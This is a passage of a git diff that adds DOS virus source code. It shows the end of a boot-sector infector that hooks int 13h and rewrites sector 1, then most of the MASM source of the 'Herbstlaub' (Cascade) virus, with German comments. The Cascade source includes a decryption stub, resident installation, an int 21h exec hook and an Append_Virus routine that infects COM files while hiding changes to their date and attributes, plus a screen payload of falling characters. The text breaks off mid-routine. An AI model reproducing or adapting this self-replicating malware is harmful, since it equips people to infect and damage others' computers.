dl,0 + mov bx,word ptr ds:[7C49h] + mov ax,0 +;* jmp far ptr loc_1 ;* + db 0EAh, 00h, 00h, 70h, 00h + +; +; SUBROUTINE +; + +sub_2 proc near + push ax + push cx + div byte ptr ds:[7C18h] ; al,ah rem = ax/data + cwd ; Word to double word + inc ah + shr al,1 ; Shift w/zeros fill + adc dh,0 + xchg ah,al + xchg ax,cx + mov ax,201h + int 13h ; Disk dl=drive ? ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + pop cx + pop ax + +loc_ret_11: + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near +loc_12: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_11 ; Jump if zero + mov ah,0Eh + mov bx,7 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_12 +sub_3 endp + + push ax + push ds + cmp ah,2 + jne loc_14 ; Jump if not equal + test dx,0FFFEh + jnz loc_14 ; Jump if not zero + or ch,ch ; Zero ? + jnz loc_14 ; Jump if not zero + xor ax,ax ; Zero register + mov ds,ax + test byte ptr ds:data_3e,1 + jnz loc_14 ; Jump if not zero + push cx + push bx + push di + push si + push es + mov ax,201h + mov bx,7E00h + mov cl,1 + push cs + push cs + pop es + pop ds + pushf ; Push flags + push cs + call sub_4 + jc loc_13 ; Jump if carry Set + mov si,data_35e + mov di,data_23e + mov cl,33h ; '3' + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + mov bx,7C00h + mov cl,1 + pushf ; Push flags + push cs + call sub_4 +loc_13: + pop es + pop si + pop di + pop bx + pop cx +loc_14: + pop ds + pop ax + +; +; SUBROUTINE +; + +sub_4 proc near + jmp dword ptr cs:data_33e + db 0, 0, 0, 0 + db 0Dh, 0Ah, 'Non-System disk or dis' + db 'k error', 0Dh, 0Ah, 'Replace and' + db ' press a key when ready', 0Dh, 0Ah + db 00h, 00h, 00h, 00h, 00h, 00h + db 55h,0AAh +sub_4 endp + + +seg_a ends + + + + end start diff --git a/c/Cascade.asm b/c/Cascade.asm new file mode 100755 index 0000000..50095b0 --- /dev/null +++ b/c/Cascade.asm @@ -0,0 +1,1188 @@ +PAGE 62,132 +TITLE _HLV_ +SUBTTL Layout (C) 1990 164A12565AA18213165556D3125C4B962712 +.RADIX 16 +.LALL + +TRUE EQU 1 +FALSE EQU 0 + +MONTH EQU 9D +YEAR EQU 1991D + +DEMO EQU TRUE + +SWITCHABLE = TRUE +IFDEF _NOSWITCH +SWITCHABLE = FALSE +ENDIF + +comment # +ͻ + + ===================== + H E R B S T L A U B + ===================== + + + SPRACHE: MASM 4.00 (+) [ frhere Versionen brechen z.B. mit + (not v6.00 ! ) *OUT OF MEMORY* (3.00) ab oder lassen + sogar den PC abstrzen (1.10) ] + + ( Eine als Beispiel gedachte Batchdatei zur Steuerung der bersetzung + ist am Ende dieses Quelltextes als Kommentar hinzugefgt. ) + +ͼ +Ŀ + Whrend der bersetzung zu auszugebende Meldungen, 1. Teil. + +# +IF1 +REPT 50 +%Out +ENDM; +%Out ͻ +%Out +%Out Ŀ +%Out Ĵ H E R B S T L A U B İ +%Out ٰ +%Out +ENDIF +comment # +Ŀ + Einige Assembler - Makros. + +# ; +MSDOS MACRO ; + INT 21 ; + ENDM ; +Wait_HRI_or_VRI MACRO ; + LOCAL _X_1, _X_2, _X_3 ; + MOV DX,03DA ; + CLI ; + _X_1: IN AL,DX ; + TEST AL,08 ; + JNZ _X_3 ; + TEST AL,01 ; + JNZ _X_1 ; + _X_2: IN AL,DX ; + TEST AL,01 ; + JZ _X_2 ; + _X_3 LABEL NEAR ; + ENDM ;------; +SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ; + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ; + IFNB <_X> ;------; + IFIDN <_X>, ; + PUSHF ; + ELSE ; + PUSH _X ; + ENDIF ; + ENDIF ; + ENDM ; + ENDM ;------; +REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ; + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ; + IFNB <_X> ;------; + IFIDN <_X>, ; + POPF ; + ELSE ; + POP _X ; + ENDIF ; + ENDIF ; + ENDM ; + ENDM ; +MOV_S MACRO S1,S2 ; + PUSH S2 ; + POP S1 ; + ENDM ; + comment # +Ŀ + Start des Code-Segments, Segment Prefix Bytes werden n i c h t au- + tomatisch durch den Assembler erzeugt. + + # ; +TEXT SEGMENT ; + ASSUME CS:TEXT,DS:TEXT,ES:TEXT,SS:TEXT ; + comment # +Ŀ + Einige das Verstndnis erleichternde Definitionen. + + # ; +NearJmp EQU 0E9 ; +PORT_B_8259A EQU 20 ; +EOI_8259A EQU 20 ; +PORT_B_8255 EQU 61 ; +FIRSTCONST EQU 0131 ; +FIRSTBASE EQU FIRSTCONST - OFFSET XI_001 ;-----; +FIRSTBASE2 EQU (FIRSTCONST + OFFSET XI_005 - XI_001) ; +DeCrptd EQU 0 ;-----; +EnCrptd EQU 1 ; +BIOSDATASEG EQU 040 ; +MonoBase EQU 0B000 ; +ColorBase EQU 0B800 ; +B_VIDPAGE EQU THIS WORD + 04E ; +B_TIMERVAR EQU THIS WORD + 06C ; +TimerInt EQU 1C ; +DOS EQU 21 ; +DOS_multi EQU 2F ; +MS_SetDTA EQU 1A ; + DTA_in_PSP EQU 80 ; +MS_SetInt EQU 25 ; +MS_GetDateTime EQU 2A ; +MS_GetVer EQU 30 ; + DOS_v_02 EQU 2 ; +MS_GetInt EQU 35 ; +MS_Open EQU 3Dh ; + Read_Only EQU 0 ; + Read_Write EQU 2 ; +MS_Close EQU 3E ; +MS_Read EQU 3F ; +MS_Write EQU 40 ; +MS_MoveFP EQU 42 ; + OfsFrmTop EQU 0 ; + OfsFrmEnd EQU 02 ; +MS_GetFileAttr EQU 4300 ; +MS_SetFileAttr EQU 4301 ; + Attr_A EQU 20 ; + Attr_SHR EQU 7 ; + Attr_ASHR EQU Attr_A OR Attr_SHR ; +MS_AllocMem EQU 48 ; +MS_ReleaseMem EQU 49 ; + MemCBsig EQU THIS BYTE + 0 ; + MemCBowned EQU THIS WORD + 1 ; + MemCBsize EQU THIS WORD + 3 ; +MS_Exec EQU 4Bh ; + MS_Exec_SF0 EQU 0 ; + Virus_fun EQU 0ffh ; + Virus_Sig EQU 55AA ; +MS_SetPSP EQU 50 ; + PSPsize EQU 00100 ; + PSPCurCom EQU THIS WORD + 016 ; + PSPEnv EQU THIS WORD + 02C ; + PSP_SegJFB EQU THIS WORD + 036 ; + NoEnv EQU 0 ; +MS_GetFileDate EQU 5700 ; +MS_SetFileDate EQU 5701 ; +PSP_100 EQU THIS WORD + PSPsize ; +PSP_102 EQU THIS BYTE + PSPsize + 2 ; + comment # +Ŀ + Ab hier wird Objektcode erzeugt, Datenbereich Nr. 1. + + # ; +Crypt1 DB 0 ; +Crypt2 EQU OFFSET Crypt1 + FIRSTBASE ; +Crypt3 EQU Crypt1 + PSPsize ; + comment # +Ŀ + Einsprungstelle, entschlsseln des Virus falls notwendig. + + # ; +XI_000: CLI ; + MOV BP,SP ; + CALL XI_001 ; +XI_001: POP BX ; + SUB BX,FIRSTCONST ; + TEST BYTE PTR CS:[BX+Crypt2],EnCrptd ; + JZ XI_003 ; + LEA SI,[BX + XR_000] ; + MOV SP,OFFSET EOFC-OFFSET XI_003 ; +XI_002: XOR [SI],SI ; + XOR [SI],SP ; + INC SI ; + DEC SP ; + JNZ XI_002 ; +XI_003 LABEL NEAR ; + XR_000 EQU OFFSET XI_003 + FIRSTBASE ; + XR_001 EQU XI_003 + PSPsize ; + MOV SP,BP ; + JMP SHORT XI_004 ; + comment # +Ŀ + Datenbereich 2. + + # ; + XD_000 DW PSPsize ; +Disp_to_com_1 EQU OFFSET XD_000 + FIRSTBASE ; + XD_001 DW 9090 ; +Disp_to_com_2 EQU OFFSET XD_001 + FIRSTBASE ; + XD_002 DW 9090 ; +Initial_AX EQU OFFSET XD_002 + FIRSTBASE ; + XD_003 EQU THIS WORD ; + XD_004 EQU THIS BYTE + 2 ; + NOP ; + NOP ; + NOP ; +Org1stInstr_s1 EQU OFFSET XD_003 + FIRSTBASE ; +Org1stInstr_t1 EQU XD_003 + PSPsize ; +Org1stInstr_t2 EQU XD_003 + PSPsize + 1 ; +Org1stInstr_s2 EQU OFFSET XD_004 + FIRSTBASE ; + XD_005 DW 2 dup ( 9090 ) ; +Org_Int_1C EQU XD_005 + PSPsize ; + XD_006 DW 2 dup ( 9090 ) ; +Org_int_21s EQU OFFSET XD_006 + FIRSTBASE ; +Org_Int_21t EQU XD_006 + PSPsize ; + ; +IF SWITCHABLE ; + ; + XD_007 DW 2 dup ( 9090 ) ; +Org_Int_2F EQU XD_007 + PSPsize ; + XD_008 DB 5, "_HLV_ " ; +Cmd_2F EQU XD_008 + PSPsize ; + XD_009 DB 'HLV is on',0Dh,0Ah,'$' ; +Msg_On EQU XD_009 + PSPsize ; + XD_010 DB 'HLV is off',0Dh,0Ah,'$' ; +Msg_Off EQU XD_010 + PSPsize ; + ; +ENDIF ; + ; + XD_011 DW 9090 ; +File_Attributes EQU XD_011 + PSPsize ; + XD_012 DW 9090 ; +File_Date EQU XD_012 + PSPsize ; + XD_013 DW 9090 ; +File_Time EQU XD_013 + PSPsize ; + XD_014 DW 2 dup ( 9090 ) ; +Pathname EQU XD_014 + PSPsize ; + XD_015 DW 2 dup ( 9090 ) ; +File_Size_lsb EQU XD_015 + PSPsize ; +File_Size_msb EQU XD_015 + PSPsize + 2 ; + XD_016 DB NearJmp ; +FirstOpCode_1 EQU XD_016 + PSPsize ; + XD_017 DW 9090 ; +FirstOpCode_2 EQU XD_017 + PSPsize ; + XD_018 DB 90 ; +Num_of_Col EQU XD_018 + PSPsize ; + XD_019 DB 90 ; +Last_Line EQU XD_019 + PSPsize ; + XD_020 DB 90 ; +Prevent_Snow? EQU XD_020 + PSPsize ; +Last_Pair EQU THIS WORD + PSPsize ; + XD_021 DB 90 ; + XD_022 DB 90 ; +Last_Char EQU XD_021 + PSPsize ; +Last_Attr EQU XD_022 + PSPsize ; +RecTyp1 RECORD ExtCom:1, Recf_1:1, R_in_1c:1 ; + XD_023 RecTyp1 <0,0,0> ; +ISR_Flags EQU XD_023 + PSPsize ; + XD_024 DW 9090 ; +Seg_of_VRAM EQU XD_024 + PSPsize ; + XD_025 DW 9090 ; +Page_offset EQU XD_025 + PSPsize ; + XD_026 DW 9090 ; +Speed EQU XD_026 + PSPsize ; + XD_027 DW 9090 ; +XR_002 EQU XD_027 + PSPsize ; + XD_028 DW 9090 ; +XR_003 EQU XD_028 + PSPsize ; + XD_029 DW 9090 ; +Num_of_char EQU XD_029 + PSPsize ; + XD_030 DW 9090 ; +XR_004 EQU XD_030 + PSPsize ; + XD_031 DW 7 dup ( 9090 ) ; +FirstRandom EQU XD_031 + PSPsize ; +LastRandom EQU This Word + PSPsize ; + DW 9090 ; + comment # +Ŀ + Installieren u. relozieren falls notwendig. + + # ; +XI_004: CALL XI_005 ; +XI_005 LABEL NEAR ; +XR_005 EQU XI_005 + PSPsize ; + POP BX ; + SUB BX,FIRSTBASE2 ; + MOV CS:[BX+Disp_to_com_2],CS ; + MOV CS:[BX+Initial_AX],AX ; + MOV AX,CS:[BX+Org1stInstr_s1] ; + MOV [PSP_100],AX ; + MOV AL,CS:[BX+Org1stInstr_s2] ; + MOV [PSP_102],AL ; + PUSH BX ; + MOV AH,MS_GetVer ; + MSDOS ; + POP BX ; + CMP AL,DOS_v_02 ; + JB XI_006 ; + MOV AX,MS_Exec * 100 + Virus_fun ; + XOR DI,DI ; + XOR SI,SI ; + MSDOS ; + CMP DI,Virus_sig ; + JNZ XI_007 ; +XI_006: STI ; + MOV_S ES,DS ; + MOV AX,CS:[BX+Initial_AX] ; + JMP DWORD PTR CS:[BX+Disp_to_com_1] ; +XI_007: PUSH BX ; + MOV AX,MS_GetInt * 100 + DOS ; + MSDOS ; + MOV AX,BX ; + POP BX ; + MOV CS:[BX+Org_int_21s],AX ; + MOV CS:[BX+Org_int_21s + 2],ES ;------------; + MOV AX, (OFFSET EOFC - OFFSET Crypt1) SHR 4 + 11 ; + MOV BP,CS ;------------; + DEC BP ; + MOV ES,BP ; + MOV SI,CS:[PSPCurCom] ; + MOV ES:[MemCBowned],SI ; + MOV DX,ES:[MemCBsize] ; + MOV ES:[MemCBsize],AX ; + MOV ES:[MemCBsig],'M' ; + SUB DX,AX ; + DEC DX ; + INC BP ; + ADD BP,AX ; + INC BP ; + MOV ES,BP ; + PUSH BX ; + MOV AH,MS_SetPSP ; + MOV BX,BP ; + MSDOS ; + POP BX ; + XOR DI,DI ; + MOV_S SS,ES ; + PUSH DI ; + LEA DI,[BX+XR_010] ; + MOV SI,DI ; + MOV CX,OFFSET EOFC ; + STD ; + REPZ MOVSB ; + PUSH ES ; + LEA CX,[BX+XR_006] ; + PUSH CX ; + RETF ; +XI_008 LABEL NEAR ; +XR_006 EQU OFFSET XI_008 + FIRSTBASE ; + MOV CS:[BX+Disp_to_com_2],CS ; + LEA CX,[BX+Crypt2] ; + REPZ MOVSB ; + MOV CS:[PSP_SegJFB],CS ; + DEC BP ; + MOV ES,BP ; + MOV ES:[MemCBsize],DX ; + MOV ES:[MemCBsig],'Z' ; + MOV ES:[MemCBowned],CS ; + INC BP ; + MOV ES,BP ; + MOV_S ES,DS ; + MOV_S DS,CS ; + LEA SI,[BX+Crypt2] ; + MOV DI,PSPsize ; + MOV CX,OFFSET EOFC ; + CLD ; + REPZ MOVSB ; + PUSH ES ; + LEA AX,[XR_007] ; + PUSH AX ; + RETF ; +XI_009 LABEL NEAR ; +XR_007 EQU XI_009 + PSPsize ; + MOV CS:[PSPEnv],NoEnv ; + MOV CS:[PSPCurCom],CS ; + PUSH DS ; + LEA DX,[XR_008] ; + MOV_S DS,CS ; + MOV AX,MS_SetInt * 100 + DOS ; + MSDOS ; + POP DS ; + MOV AH,MS_SetDTA ; + MOV DX,DTA_in_PSP ; + MSDOS ; + SAVE DS,ES,SI,DI,CX ; + MOV_S ES,CS ; + MOV CX,BIOSDATASEG ; + MOV DS,CX ; + MOV DI,OFFSET FirstRandom ; + MOV SI,OFFSET B_TIMERVAR ; + MOV CL,8 ; + CLD ; + REPZ MOVSW ; + REST CX,DI,SI,ES,DS ; + ; +IF SWITCHABLE ; + ; + PUSH DS ; + MOV AX,MS_GetInt * 100 + DOS_multi ; + MSDOS ; + MOV CS:[Org_Int_2F],BX ; + MOV CS:[Org_Int_2F + 2],ES ; + MOV AX,MS_SetInt * 100 + DOS_multi ; + MOV DX,offset Int_2F_ISR ; + MOV_S DS,CS ; + MSDOS ; + POP DS ; + ; +ENDIF ; + ; + OR CS:[ISR_Flags],MASK ExtCom ; + MOV AH,MS_GetDateTime ; + MSDOS ; + CMP CX,YEAR ; + JZ XI_010 ; + JMP SHORT XI_011 ; +XI_010: CMP DH,MONTH ; + JB XI_011 ; + AND CS:[ISR_Flags],NOT MASK ExtCom ; +XI_011: MOV AX,1518 ; + CALL Random ; + INC AX ; + MOV CS:[XR_002],AX ; + MOV CS:[XR_003],AX ; + MOV CS:[XR_004],1 ; + MOV AX,MS_GetInt * 100 + TimerInt ; + MSDOS ; + MOV CS:[Org_Int_1C],BX ; + MOV CS:[Org_Int_1C + 2],ES ; + PUSH DS ; + MOV AX,MS_SetInt * 100 + TimerInt ; + MOV DX,OFFSET XR_009 ; + MOV_S DS,CS ; + MSDOS ; + POP DS ; +XI_012: MOV BX,OFFSET XR_005 - (FIRSTBASE2) ; + JMP XI_006 ; + comment # +Ŀ + Neue Interrupt 21(h) Behandlungsroutine ( verndert Exec - Funktion ). + + # ; +XI_013 LABEL NEAR ; +XR_008 EQU XI_013 + PSPsize ; + CMP AH,MS_Exec ; + JZ XI_016 ; +XI_014: JMP DWORD PTR CS:[Org_Int_21t] ; +XI_015: MOV DI,Virus_Sig ; + LES AX,CS:DWORD PTR [Org_Int_21t] ; + MOV DX,CS ; + IRET ; +XI_016: CMP AL,Virus_fun ; + JZ XI_015 ; + CMP AL,MS_Exec_SF0 ; + JNZ XI_014 ; + SAVE F,AX,BX,CX,DX,SI,DI,BP,ES,DS ; + MOV CS:[Pathname],DX ; + MOV CS:[Pathname + 2],DS ; + MOV_S ES,CS ; + MOV AX,MS_Open * 100 + Read_Only ; + MSDOS ; + JB XI_018 ; + MOV BX,AX ; + MOV AX,MS_GetFileDate ; + MSDOS ; + MOV CS:[File_Date],DX ; + MOV CS:[File_Time],CX ; + MOV AH,MS_Read ; + MOV_S DS,CS ; + MOV DX,OFFSET Org1stInstr_t1 ; + MOV CX,3 ; + MSDOS ; + JB XI_018 ; + CMP AX,CX ; + JNZ XI_018 ; + MOV AX,MS_MoveFP * 100 + OfsFrmEnd ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + MOV CS:[File_Size_lsb],AX ; + MOV CS:[File_Size_msb],DX ; + MOV AH,MS_Close ; + MSDOS ;---------------; + CMP CS:[Org1stInstr_t1], 'Z' * 100 + 'M' ; + JNZ XI_017 ; + JMP XI_025 ; +XI_017: CMP CS:[File_Size_msb],+0 ; + JA XI_018 ; + CMP CS:[File_Size_lsb],offset Crypt1-offset EOFC-20 ; + JBE XI_019 ; +XI_018: JMP XI_025 ; +XI_019: CMP BYTE PTR CS:[Org1stInstr_t1],NearJmp ; + JNZ XI_020 ; + MOV AX,CS:[File_Size_lsb] ; + ADD AX,OFFSET Crypt1 - offset EOFC - 2 ; + CMP AX,CS:[Org1stInstr_t2] ;---------------; + JZ XI_018 ; + ; +IF DEMO ; +XI_020: CALL DEMO_Infect ; + JMP XI_025 ; + ; +IF2 ;----------------; +%Out ͻ +%Out Demo - Version, +%Out k e i n Virus. +ENDIF ;----------------; +ELSE ; +IFDEF _DANGER ; +XI_020 MOV AX,MS_GetFileAttr ; + LDS DX,CS:DWORD PTR [Pathname] ; + MSDOS ; + JB XI_018 ; + MOV CS:[File_Attributes],CX ; + XOR CL,Attr_A ; + TEST CL,Attr_ASHR ; + JZ XI_021 ; + MOV AX,MS_SetFileAttr ; + XOR CX,CX ; + MSDOS ; + JB XI_018 ; +XI_021: MOV AX,MS_Open * 100 + Read_Write ; + MSDOS ; + JB XI_018 ; + MOV BX,AX ; + MOV AX,MS_MoveFP * 100 + OfsFrmEnd ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + CALL Append_Virus ; + JNB XI_022 ; + MOV AX,MS_MoveFP * 100 + OfsFrmTop ; + MOV CX,CS:[File_Size_msb] ; + MOV DX,CS:[File_Size_lsb] ; + MSDOS ; + MOV AH,MS_Write ; + XOR CX,CX ; + MSDOS ; + JMP SHORT XI_023 ; +XI_022: MOV AX,MS_MoveFP * 100 + OfsFrmTop ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + JB XI_023 ; + MOV AX,CS:[File_Size_lsb] ; + ADD AX,-2 ; + MOV CS:[FirstOpCode_2],AX ; + MOV AH,MS_Write ; + MOV DX,OFFSET FirstOpCode_1 ; + MOV CX,3 ; + MSDOS ; +XI_023: MOV AX,MS_SetFileDate ; + MOV DX,CS:[File_Date] ; + MOV CX,CS:[File_Time] ; + MSDOS ; + MOV AH,MS_Close ; + MSDOS ; + MOV CX,CS:[File_Attributes] ; + TEST CL,Attr_SHR ; + JNZ XI_024 ; + TEST CL,Attr_A ; + JNZ XI_025 ; +XI_024: MOV AX,MS_SetFileAttr ; + LDS DX,CS:DWORD PTR [Pathname] ; + MSDOS ; +IF2 ;----------------; +%Out ͻ +%Out KEIN DEMO, +%Out scharfer Virus. +ENDIF ; +ELSE ; + .ERR ; +ENDIF ; +ENDIF ; +IF SWITCHABLE ; +IF2 ; +%Out ͻ +%Out Neuer interner MSDOS Befehl '_HLV_' ! +ENDIF ; +ELSE ; +IF2 ; +%Out ͻ +%Out Kommando '_HLV_' nicht implementiert. +ENDIF ; +ENDIF ; +DISPNUM MACRO nu,nuxx ; +%Out (Monat - Jahr) nu - nuxx +ENDM ; +IF2 ; +%Out Bis zum Jahresende aktiv ab: +.radix 10 ; +DISPNUM %MONTH,%YEAR ; +.radix 16 ; +%Out ͼ +endif ; +XI_025: REST DS,ES,BP,DI,SI,DX,CX,BX,AX,F ;----------------; + JMP XI_014 ; +IF DEMO ; + ; + comment # +Ŀ + Statt APPEND in der DEMO - Version aufgerufene Prozedur. + + # ; +DEMO_INFECT PROC NEAR ; + push ax ; + push cx ; + in al,61 ; + or al,3 ; + out 61,al ; + mov al,0b6 ; + out 43,al ; + mov cx,0a ; +XI_026: dec cx ; + jz XI_030 ; +XI_027: mov ax,200d ; +XI_028: dec ax ; + cmp ax,100d ; + jz XI_031 ; + push ax ; + out 42,al ; + push cx ; + mov cx,150d ; +XI_029: nop ; + loop XI_029 ; + pop cx ; + mov al,ah ; + out 42,al ; + pop ax ; + jmp XI_028 ; +XI_030: in al,61 ; + and al,0fc ; + out 61,al ; + pop cx ; + pop ax ; + ret ; +XI_031: inc ax ; + cmp ax,600d ; + jz XI_026 ; + push ax ; + out 42,al ; + push cx ; + mov cx,150d ; +XI_032: nop ; + loop XI_032 ; + pop cx ; + mov al,ah ; + out 42,al ; + pop ax ; + jmp XI_031 ; +DEMO_INFECT ENDP ; + ; +ELSE ; + comment # +Ŀ + Append Virus - von der Int21ISR aufgerufene Infektions-Prozdur + + # ; +Append_Virus PROC NEAR ; + SAVE ES,BX ; + MOV AH,MS_AllocMem ;----------; + MOV BX,(OFFSET EOFC - OFFSET Crypt1) SHR 4 + 1 ; + MSDOS ;----------; + POP BX ; + JNB XI_034 ; +XI_033: STC ; + POP ES ; + RET ; +XI_034: MOV CS:[Crypt3],EnCrptd ; + MOV ES,AX ; + MOV_S DS,CS ; + XOR DI,DI ; + MOV SI,PSPsize ; + MOV CX,OFFSET EOFC ; + CLD ; + REPZ MOVSB ; + MOV DI,OFFSET XI_003 ; + MOV SI,OFFSET XR_001 ; + ADD SI,[File_Size_lsb] ; + MOV CX,OFFSET EOFC - OFFSET XI_003 ; +XI_035: XOR ES:[DI],SI ; + XOR ES:[DI],CX ; + INC DI ; + INC SI ; + LOOP XI_035 ; + MOV DS,AX ; + MOV AH,MS_Write ; + XOR DX,DX ; + MOV CX,OFFSET EOFC ; + MSDOS ; + SAVE F,AX ; + MOV AH,MS_ReleaseMem ; + MSDOS ; + REST AX,F ; + MOV_S DS,CS ; + JB XI_033 ; + CMP AX,CX ; + JNZ XI_033 ; + POP ES ; + CLC ; + RET ; +Append_Virus ENDP ; + ; +ENDIF ; + comment # +Ŀ + 'Zufallszahlen' - Generator. + + # ; +Random PROC NEAR ; + SAVE DS ; + MOV_S DS,CS ; + SAVE BX,CX,DX,AX ; + MOV CX,7 ; + MOV BX,offset LastRandom ; + PUSH [BX] ; +XI_036: MOV AX,[BX-02] ; + ADC [BX],AX ; + DEC BX ; + DEC BX ; + LOOP XI_036 ; + POP AX ; + ADC [BX],AX ; + MOV DX,[BX] ; + POP AX ; + OR AX,AX ; + JZ XI_037 ; + MUL DX ; +XI_037: MOV AX,DX ; + REST DX,CX,BX,DS ; + RET ; +Random ENDP ; + comment # +Ŀ + Zeichen und Attribut aus Videospeicher auslesen. + + # ; +Load_from_VRAM PROC NEAR ; + SAVE SI,DS,DX ; + MOV AL,DH ; + MUL [Num_of_Col] ; + MOV DH,0 ; + ADD AX,DX ; + SHL AX,1 ; + ADD AX,[Page_offset] ; + MOV SI,AX ; + TEST [Prevent_Snow?],-1 ; + MOV DS,[Seg_of_VRAM] ; + JZ XI_038 ; + Wait_HRI_or_VRI ; +XI_038: LODSW ; + STI ; + REST DX,DS,SI ; + RET ; +Load_from_VRAM ENDP ; + comment # +Ŀ + Zeichen und Attribut (AX) in den Videospeicher schreiben. + + # ; +Write_to_VRAM PROC NEAR ; + SAVE DI,ES,DX,BX ; + MOV BX,AX ; + MOV AL,DH ; + MUL [Num_of_Col] ; + MOV DH,0 ; + ADD AX,DX ; + SHL AX,1 ; + ADD AX,[Page_offset] ; + MOV DI,AX ; + TEST [Prevent_Snow?],-1 ; + MOV ES,[Seg_of_VRAM] ; + JZ XI_039 ; + Wait_HRI_or_VRI ; +XI_039: MOV AX,BX ; + STOSB ; + STI ; + REST BX,DX,ES,DI ; + RET ; +Write_to_VRAM ENDP ; + comment # +Ŀ + Bit 0 von Port B des 8255 Chips zurcksetzen (IO-Adresse : &H61 ). + + # ; +Toggle_Speaker PROC NEAR ; + PUSH AX ; + IN AL,PORT_B_8255 ; + XOR AL,02 ; + AND AL,0FE ; + OUT PORT_B_8255,AL ; + POP AX ; + RET ; +Toggle_Speaker ENDP ; + comment # +Ŀ + CF gesetzt, wenn AL ein nicht darstellbares Zeichen enthlt. + + # ; +Is_it_blank_? PROC NEAR ; + CMP AL,0 ; + JZ XI_040 ; + CMP AL,20 ; + JZ XI_040 ; + CMP AL,-1 ; + JZ XI_040 ; + CLC ; + RET ; +XI_040: STC ; + RET ; +Is_it_blank_? ENDP ; + comment # +Ŀ + CF gesetzt, wenn AL ein Zeichen aus dem Linienzeichensatz enthlt. + + # ; +Spec_Graphik? PROC NEAR ; + CMP AL,0B0 ; + JB XI_041 ; + CMP AL,0DF ; + JA XI_041 ; + STC ; + RET ; +XI_041: CLC ; + RET ; +Spec_Graphik? ENDP ; + comment # +Ŀ + Geschwindigkeit der Maschine ( zur Verwendung in DELAY ) ermitteln. + + # ; +GetSysSpeed PROC NEAR ; + PUSH DS ; + MOV AX,BIOSDATASEG ; + MOV DS,AX ; + STI ; + MOV AX,[B_TIMERVAR] ; +XI_042: CMP AX,[B_TIMERVAR] ; + JZ XI_042 ; + XOR CX,CX ; + MOV AX,[B_TIMERVAR] ; +XI_043: INC CX ; + JZ XI_045 ; + CMP AX,[B_TIMERVAR] ; + JZ XI_043 ; +XI_044: POP DS ; + MOV AX,CX ; + XOR DX,DX ; + MOV CX,0F ; + DIV CX ; + MOV CS:[Speed],AX ; + RET ; +XI_045: DEC CX ; + JMP XI_044 ; +GetSysSpeed ENDP ; + comment # +Ŀ + Verzgern ( Verzgerungszeit ist kaum maschinenabhngig ). + + # ; +Delay PROC NEAR ; + PUSH CX ; +XI_046: PUSH CX ; + MOV CX,[Speed] ; +XI_047: LOOP XI_047 ; + POP CX ; + LOOP XI_046 ; + POP CX ; + RET ; +Delay ENDP ; + comment # +Ŀ + Eine neue Interrupt 1C(h) Behandlungsroutine. + + # ; +XI_048 LABEL NEAR ; +XR_009 EQU XI_048 + PSPsize ;----------; + TEST CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom ; + JZ XI_049 ;----------; + JMP XI_067 ; +XI_049: OR CS:[ISR_Flags],MASK R_in_1c ; + DEC CS:[XR_002] ; + JZ XI_050 ; + JMP XI_066 ; +XI_050: SAVE DS,ES ; + MOV_S DS,CS ; + MOV_S ES,CS ; + SAVE AX,BX,CX,DX,SI,DI,BP ; + MOV AL,EOI_8259A ; + OUT PORT_B_8259A,AL ; + MOV AX,[XR_003] ; + CMP AX,0438 ; + JNB XI_051 ; + MOV AX,0438 ; +XI_051: CALL Random ; + INC AX ; + MOV [XR_002],AX ; + MOV [XR_003],AX ; + PUSH DS ; + MOV AX,BIOSDATASEG ; + MOV DS,AX ; + MOV AX,[B_VidPage] ; + POP DS ; + MOV [Page_offset],AX ; + MOV [Last_Line],18 ; + MOV DL,-1 ; + MOV AX,1130 ; + MOV BH,0 ; + SAVE ES,BP ; + INT 10 ; + REST BP,ES ; + CMP DL,-1 ; + JZ XI_052 ; + MOV [Last_Line],DL ; +XI_052: CALL GetSysSpeed ; + MOV AH,0F ; + INT 10 ; + MOV [Num_of_Col],AH ; + MOV [Prevent_Snow?],0 ; + MOV [Seg_of_VRAM],MonoBase ; + CMP AL,07 ; + JZ XI_054 ; + JB XI_053 ; + JMP XI_064 ; +XI_053: MOV [Seg_of_VRAM],ColorBase ; + CMP AL,03 ; + JA XI_054 ; + CMP AL,02 ; + JB XI_054 ; + MOV [Prevent_Snow?],01 ; + MOV AL,[Last_Line] ; + INC AL ; + MUL [Num_of_Col] ; + MOV [Num_of_char],AX ; + MOV AX,[XR_004] ; + CMP AX,[Num_of_char] ; + JBE XI_054 ; + MOV AX,[Num_of_char] ; +XI_054: CALL Random ; + INC AX ; + MOV SI,AX ; +XI_055: XOR DI,DI ; +XI_056: INC DI ; + MOV AX,[Num_of_char] ; + SHL AX,1 ; + CMP DI,AX ; + JBE XI_057 ; + JMP XI_064 ; +XI_057: OR [ISR_Flags],MASK Recf_1 ; + MOV AL,[Num_of_Col] ; + MOV AH,0 ; + CALL Random ; + MOV DL,AL ; + MOV AL,[Last_Line] ; + MOV AH,0 ; + CALL Random ; + MOV DH,AL ; + CALL Load_from_VRAM ; + CALL Is_it_blank_? ; + JB XI_056 ; + CALL Spec_Graphik? ; + JB XI_056 ; + MOV [Last_Pair],AX ; + MOV CL,[Last_Line] ; + MOV CH,0 ; +XI_058: INC DH ; + CMP DH,[Last_Line] ; + JA XI_062 ; + CALL Load_from_VRAM ; + CMP AH,[Last_Attr] ; + JNZ XI_062 ; + CALL Is_it_blank_? ; + JB XI_060 ; +XI_059: CALL Spec_Graphik? ; + JB XI_062 ; + INC DH ; + CMP DH,[Last_Line] ; + JA XI_062 ; + CALL Load_from_VRAM ; + CMP AH,[Last_Attr] ; + JNZ XI_062 ; + CALL Is_it_blank_? ; + JNB XI_059 ; + CALL Toggle_Speaker ; + DEC DH ; + CALL Load_from_VRAM ; + MOV [Last_Char],AL ; + INC DH ; +XI_060: AND [ISR_Flags],NOT MASK Recf_1 ; + DEC DH ; + MOV AL,' ' ; 